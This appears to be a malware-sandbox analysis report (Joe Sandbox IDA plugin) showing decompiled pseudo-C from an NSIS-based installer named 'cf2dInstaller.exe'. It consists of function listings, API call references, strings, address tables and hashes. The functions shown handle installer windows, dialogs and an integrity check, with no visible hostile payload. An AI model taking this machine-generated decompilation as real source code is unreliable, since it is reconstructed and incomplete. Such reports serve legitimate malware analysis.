							E004034A5(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x42eb60; // 0x400000
						 *0x42e314 = _t28;
						_v20 = 0x624e5f;
						 *0x42e304 = E00401000;
						 *0x42e310 = _t76;
						 *0x42e324 =  &_v20;
						if(RegisterClassA(0x42e300) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x429fb8 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42eb60, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t60 =  *0x42eb98; // 0x2559f14
					_t79 = 0x42db00;
					E004058F3( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) + _t60, 0x42db00, 0);
					_t62 =  *0x42db00; // 0x53
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x42db01;
						 *((char*)(E0040552A(0x42db01, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E00405A0C(_t85, E004054FF(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405546(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x0040355b
0x00403564
0x0040356b
0x0040356d
0x00403581
0x00403593
0x0040359d
0x004035a2
0x004035a8
0x004035bb
0x004035bb
0x004035c6
0x0040356f
0x0040357a
0x0040357a
0x004035cb
0x004035d0
0x004035d5
0x004035de
0x004035e3
0x004035f4
0x0040367b
0x00403683
0x0040368c
0x0040368c
0x004036a2
0x004036a8
0x004036b6
0x00403745
0x0040374d
0x00403757
0x0040375c
0x00403762
0x004037ec
0x004037f1
0x004037f3
0x0040380f
0x00000000
0x0040380f
0x004037f5
0x004037fb
0x00403803
0x00403803
0x00000000
0x004037fb
0x00403770
0x00403781
0x00403783
0x00403785
0x0040378c
0x0040378c
0x00403794
0x0040379c
0x0040379e
0x004037a0
0x004037a9
0x004037ac
0x004037b2
0x004037b2
0x004037b8
0x004037d1
0x004037e2
0x00000000
0x004037e7
0x0040374f
0x00403751
0x00000000
0x004036bc
0x004036bc
0x004036c2
0x004036cc
0x004036d4
0x004036de
0x004036e4
0x004036f2
0x00403814
0x00403814
0x00000000
0x00403814
0x004036f8
0x00403701
0x00403740
0x00000000
0x00403740
0x004035fa
0x004035fa
0x004035ff
0x00000000
0x00000000
0x00403604
0x00403609
0x00403619
0x0040361e
0x00403625
0x00000000
0x00000000
0x00403629
0x0040362b
0x00403638
0x00403638
0x00403640
0x00403646
0x0040366e
0x00403676
0x00000000
0x00403658
0x00403659
0x00403662
0x00403668
0x00403669
0x00000000
0x00403669
0x00403664
0x00403666
0x00000000
0x00000000
0x00000000
0x00403666
0x00403646

APIs

Part of subcall function 00405D2E: GetModuleHandleA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D40
Part of subcall function 00405D2E: LoadLibraryA.KERNEL32(?,?,00000000,0040313D,00000008), ref: 00405D4B
Part of subcall function 00405D2E: GetProcAddress.KERNEL32(00000000,?,?,00000000,0040313D,00000008), ref: 00405D5C

lstrcatA.KERNEL32(1033,00429FE0,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429FE0,00000000,00000006,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\",00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004035C6
lstrlenA.KERNEL32(Show,?,?,?,Show,00000000,C:\Users\user\AppData\Local\,1033,00429FE0,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429FE0,00000000,00000006,"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"), ref: 0040363B
lstrcmpiA.KERNEL32(?,.exe,Show,?,?,?,Show,00000000,C:\Users\user\AppData\Local\,1033,00429FE0,80000001,Control Panel\Desktop\ResourceLocale,00000000,00429FE0,00000000), ref: 0040364E
GetFileAttributesA.KERNEL32(Show), ref: 00403659
LoadImageA.USER32 ref: 004036A2

Part of subcall function 0040596A: wsprintfA.USER32 ref: 00405977

RegisterClassA.USER32 ref: 004036E9
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 00403701
CreateWindowExA.USER32 ref: 0040373A
ShowWindow.USER32(00000005,00000000), ref: 00403770
LoadLibraryA.KERNEL32(RichEd20), ref: 00403781
LoadLibraryA.KERNEL32(RichEd32), ref: 0040378C
GetClassInfoA.USER32 ref: 0040379C
GetClassInfoA.USER32 ref: 004037A9
RegisterClassA.USER32 ref: 004037B2
DialogBoxParamA.USER32(?,00000000,004038EB,00000000), ref: 004037D1

Strings

.exe, xrefs: 00403648
C:\Users\user\AppData\Local\, xrefs: 004035D5, 004035DD, 00403675, 0040367B, 0040368B
RichEdit20A, xrefs: 00403794, 0040379A
_Nb, xrefs: 004036F8, 004036FD
C:\Users\user\AppData\Local\Temp\, xrefs: 00403559
Control Panel\Desktop\ResourceLocale, xrefs: 00403589
1033, xrefs: 00403575, 004035C1
.DEFAULT\Control Panel\International, xrefs: 004035B1
RichEd32, xrefs: 00403787
"C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\", xrefs: 00403561
RichEdit, xrefs: 004037A3
RichEd20, xrefs: 0040377C
Show, xrefs: 00403609, 00403611, 0040361E, 00403668, 0040366E

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$Show$_Nb
API String ID: 914957316-2102297493
Opcode ID: a1c4895c9340ed193f6911833d51c21fede7e2fe5960353bfc6ca65408a08627
Instruction ID: af9374935d7a54fd1dce6881c110e57d7cc589bc1fe1380e1b33b637fa7f222c
Opcode Fuzzy Hash: a1c4895c9340ed193f6911833d51c21fede7e2fe5960353bfc6ca65408a08627
Instruction Fuzzy Hash: E161C571604204BAD220AF669D85F273EACE744759F40447FF941B22E1D779AD028B3E

Uniqueness

Uniqueness Score: -1.00%

Function 004038EB, Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004038EB(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				intOrPtr _t44;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x429fc4 = _t35;
					if(_t115 == 0x110) {
						 *0x42eb68 = _t125;
						 *0x429fd8 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x428fa0 = _t91;
						E00403DBE(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x42e348); // executed
						 *0x42e32c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x429fc4 = 1;
					}
					_t122 =  *0x4091a4; // 0x0
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x42eb80;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403E0A(0x40b);
						while(1) {
							_t37 =  *0x429fc4;
							 *0x4091a4 =  *0x4091a4 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091a4; // 0x0
							__eflags = _t39 -  *0x42eb84; // 0x9
							if(__eflags == 0) {
								E0040140B(1);
							}
							__eflags =  *0x42e32c - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							_t44 =  *0x42eb84; // 0x9
							__eflags =  *0x4091a4 - _t44; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405A2E(_t116, _t125, _t130, 0x436800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403DBE(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403DBE(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403DBE(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x42ebec - _t133; // 0x0
							_v32 = _t49;
							if(__eflags != 0) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008); // executed
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100); // executed
							E00403DE0(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x428fa0, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x42ebec - _t133; // 0x0
							if(__eflags == 0) {
								_push( *0x429fd8);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x428fa0);
							}
							E00403DF3();
							E00405A0C(0x429fe0, 0x42e360);
							E00405A2E(0x429fe0, _t125, _t130,  &(0x429fe0[lstrlenA(0x429fe0)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x429fe0); // executed
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x42e338);
									 *0x4297b0 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x42eb60,  *_t130 +  *0x42e340 & 0x0000ffff, _t125,  *(0x4091a8 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x42e338 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403DBE(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x42e338, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42e32c - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x42e338, 8);
									E00403E0A(0x405);
									goto L58;
								}
								__eflags =  *0x42ebec - _t133; // 0x0
								if(__eflags != 0) {
									goto L61;
								}
								__eflags =  *0x42ebe0 - _t133; // 0x0
								if(__eflags != 0) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x42e338);
						 *0x42eb68 = _t133;
						EndDialog(_t125,  *0x4293a8);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x42e338, 0x40f, 0, 1);
						__eflags =  *0x42e32c - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x429fb8, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x429fb8,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403E25(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x42e338, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x42ebec - _t133; // 0x0
										if(__eflags == 0) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x4293a8 = 1;
											L21:
											_push(0x78);
											L22:
											E00403D97();
											goto L26;
										}
										E0040140B(_t127);
										 *0x4293a8 = _t127;
										goto L21;
									}
									__eflags =  *0x4091a4 - _t133; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x42e338); // executed
						 *0x42e338 = _a12;
						L58:
						if( *0x42afe0 == _t133) {
							_t142 =  *0x42e338 - _t133; // 0x60076
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa); // executed
								 *0x42afe0 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x004038f4
0x004038fd
0x00403a3e
0x00403a42
0x00403a46
0x00403a48
0x00403a4d
0x00403a58
0x00403a63
0x00403a68
0x00403a6a
0x00403a6c
0x00403a6f
0x00403a74
0x00403a82
0x00403a8f
0x00403a96
0x00403a96
0x00403a97
0x00403a97
0x00403a9c
0x00403aa2
0x00403aa9
0x00403aaf
0x00403ab1
0x00403af1
0x00403af6
0x00403afb
0x00403afb
0x00403b00
0x00403b09
0x00403b0b
0x00403b10
0x00403b16
0x00403b1a
0x00403b1a
0x00403b1f
0x00403b25
0x00000000
0x00000000
0x00403b2b
0x00403b30
0x00403b36
0x00000000
0x00000000
0x00403b3f
0x00403b47
0x00403b4c
0x00403b4f
0x00403b55
0x00403b5a
0x00403b5d
0x00403b63
0x00403b68
0x00403b6b
0x00403b71
0x00403b79
0x00403b7f
0x00403b85
0x00403b89
0x00403b90
0x00403b90
0x00403b90
0x00403b9a
0x00403bac
0x00403bb8
0x00403bbd
0x00403bc7
0x00403bcd
0x00403bcf
0x00403bd4
0x00403bd1
0x00403bd1
0x00403bd1
0x00403be4
0x00403bfc
0x00403bfe
0x00403c04
0x00403c19
0x00403c06
0x00403c0f
0x00403c11
0x00403c11
0x00403c1f
0x00403c2f
0x00403c40
0x00403c47
0x00403c4d
0x00403c51
0x00403c56
0x00403c58
0x00000000
0x00403c5e
0x00403c5e
0x00403c60
0x00000000
0x00000000
0x00403c66
0x00403c6a
0x00403c8f
0x00403c95
0x00403c9b
0x00403c9d
0x00000000
0x00000000
0x00403cc3
0x00403cc9
0x00403ccb
0x00403cd0
0x00000000
0x00000000
0x00403cd6
0x00403cd9
0x00403cdc
0x00403cf3
0x00403cff
0x00403d18
0x00403d1e
0x00403d22
0x00403d27
0x00403d2d
0x00000000
0x00000000
0x00403d37
0x00403d42
0x00000000
0x00403d42
0x00403c6c
0x00403c72
0x00000000
0x00000000
0x00403c78
0x00403c7e
0x00000000
0x00000000
0x00000000
0x00403c84
0x00403c58
0x00403d4f
0x00403d5b
0x00403d62
0x00000000
0x00403ab3
0x00403ab3
0x00403ab6
0x00403ae9
0x00403ae9
0x00403aeb
0x00000000
0x00000000
0x00000000
0x00403aeb
0x00403ab8
0x00403abc
0x00403ac1
0x00403ac3
0x00000000
0x00000000
0x00403ad3
0x00403adb
0x00000000
0x00403ae1
0x0040390f
0x0040390f
0x00403913
0x00403918
0x00403927
0x00403927
0x00403930
0x00403939
0x00403944
0x00403944
0x00403950
0x0040396c
0x0040396f
0x00403982
0x00403988
0x00403a2b
0x00000000
0x00403a34
0x0040398e
0x0040399b
0x0040399d
0x0040399f
0x004039be
0x004039be
0x004039c1
0x004039c6
0x004039c9
0x004039d9
0x004039da
0x004039dc
0x00403a12
0x00403a25
0x00000000
0x00403a25
0x004039de
0x004039e4
0x004039fd
0x00403a02
0x00403a04
0x00000000
0x00000000
0x00403a06
0x004039f2
0x004039f2
0x004039f4
0x004039f4
0x00000000
0x004039f4
0x004039e7
0x004039ec
0x00000000
0x004039ec
0x004039cb
0x004039d1
0x00000000
0x00000000
0x004039d3
0x00000000
0x004039d3
0x004039c3
0x00000000
0x004039c3
0x004039a9
0x004039b0
0x004039b6
0x004039b8
0x00000000
0x00000000
0x00000000
0x004039b8
0x00403974
0x00000000
0x00403952
0x00403958
0x00403962
0x00403d68
0x00403d6e
0x00403d70
0x00403d76
0x00403d7b
0x00403d81
0x00403d81
0x00403d76
0x00403d8b
0x00000000
0x00403d8b
0x00403950

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403927
ShowWindow.USER32(?), ref: 00403944
DestroyWindow.USER32 ref: 00403958
SetWindowLongA.USER32 ref: 00403974
GetDlgItem.USER32 ref: 00403995
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 004039A9
IsWindowEnabled.USER32 ref: 004039B0
GetDlgItem.USER32 ref: 00403A5E
GetDlgItem.USER32 ref: 00403A68
KiUserCallbackDispatcher.NTDLL(?,000000F2,?), ref: 00403A82
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403AD3
GetDlgItem.USER32 ref: 00403B79
ShowWindow.USER32(00000000,?), ref: 00403B9A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403BAC
EnableWindow.USER32(?,?), ref: 00403BC7
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403BDD
EnableMenuItem.USER32 ref: 00403BE4
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403BFC
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403C0F
lstrlenA.KERNEL32(00429FE0,?,00429FE0,0042E360), ref: 00403C38
SetWindowTextA.USER32(?,00429FE0), ref: 00403C47
ShowWindow.USER32(?,0000000A), ref: 00403D7B

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherEnableMenuUser$DestroyEnabledLongSystemTextlstrlen
String ID:
API String ID: 3906175533-0
Opcode ID: b74f75b602d2e00be57d5aeeab29875f08be8d9e3197c87b2c2a2e3f47af270f
Instruction ID: 552f9e5d3371f53337095c5be2d86efa37a563823f2766eb5c4291c6ef6876bd
Opcode Fuzzy Hash: b74f75b602d2e00be57d5aeeab29875f08be8d9e3197c87b2c2a2e3f47af270f
Instruction Fuzzy Hash: B8C1B171604204AFD721AF62ED85E2B7F6CEB44706F40053EF941B51E1C779A942DB2E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C22, Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00402C22(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\alfons\\AppData\\Local\\temp\\cf2dInstaller.exe";
				 *0x42eb6c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\alfons\\AppData\\Local\\temp\\cf2dInstaller.exe", 0x400);
				_t89 = E004056E3(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\alfons\\AppData\\Local\\temp";
				E00405A0C("C:\\Users\\alfons\\AppData\\Local\\temp", _t91);
				E00405A0C(0x436000, E00405546(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x428b90 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BBE(1);
					__eflags =  *0x42eb74 - _t82; // 0xd000
					if(__eflags == 0) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						_t54 =  *0x42eb74; // 0xd000
						E004030AF(_t54 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff);
						_t57 = E00402E5B();
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x42eb70 = _t94;
							 *0x42eb78 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x42eb7c =  *0x42eb7c + 1;
								__eflags =  *0x42eb7c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E004056A4(0x42eb80, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004030AF( *0x414b80);
					_t65 = E0040307D( &_a4, 4); // executed
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t67 =  *0x42eb74; // 0xd000
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~_t67 & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040307D(0x420b90, _t90); // executed
						__eflags = _t71;
						if(_t71 == 0) {
							E00402BBE(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x42eb74;
						if( *0x42eb74 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402BBE(0);
							}
							goto L20;
						}
						E004056A4( &_v44, 0x420b90, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x414b80; // 0xee57b
						 *0x42ec00 =  *0x42ec00 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x42eb74 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40915c
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x428b90; // 0xefb68
						if(__eflags < 0) {
							_v12 = E00405D9A(_v12, 0x420b90, _t90);
						}
						 *0x414b80 =  *0x414b80 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402c2a
0x00402c2d
0x00402c30
0x00402c33
0x00402c39
0x00402c4a
0x00402c4f
0x00402c62
0x00402c67
0x00402c6a
0x00402c70
0x00000000
0x00402c72
0x00402c7d
0x00402c83
0x00402c94
0x00402c9b
0x00402ca1
0x00402ca3
0x00402ca8
0x00402caa
0x00402d97
0x00402d99
0x00402d9e
0x00402da5
0x00000000
0x00000000
0x00402da7
0x00402daa
0x00402dce
0x00402dd3
0x00402dd9
0x00402ddb
0x00402de4
0x00402de9
0x00402dec
0x00402ded
0x00402dee
0x00402df0
0x00402df5
0x00402df8
0x00402e0b
0x00402e0f
0x00402e17
0x00402e1c
0x00402e1e
0x00402e1e
0x00402e1e
0x00402e26
0x00402e26
0x00402e29
0x00402e2a
0x00402e2a
0x00402e2d
0x00402e2f
0x00402e2f
0x00402e2f
0x00402e39
0x00402e3f
0x00402e4d
0x00402e52
0x00000000
0x00402e52
0x00000000
0x00402df8
0x00402db2
0x00402dbd
0x00402dc2
0x00402dc4
0x00000000
0x00000000
0x00402dc9
0x00402dcc
0x00000000
0x00000000
0x00000000
0x00402cb0
0x00402cb5
0x00402cb5
0x00402cba
0x00402cbe
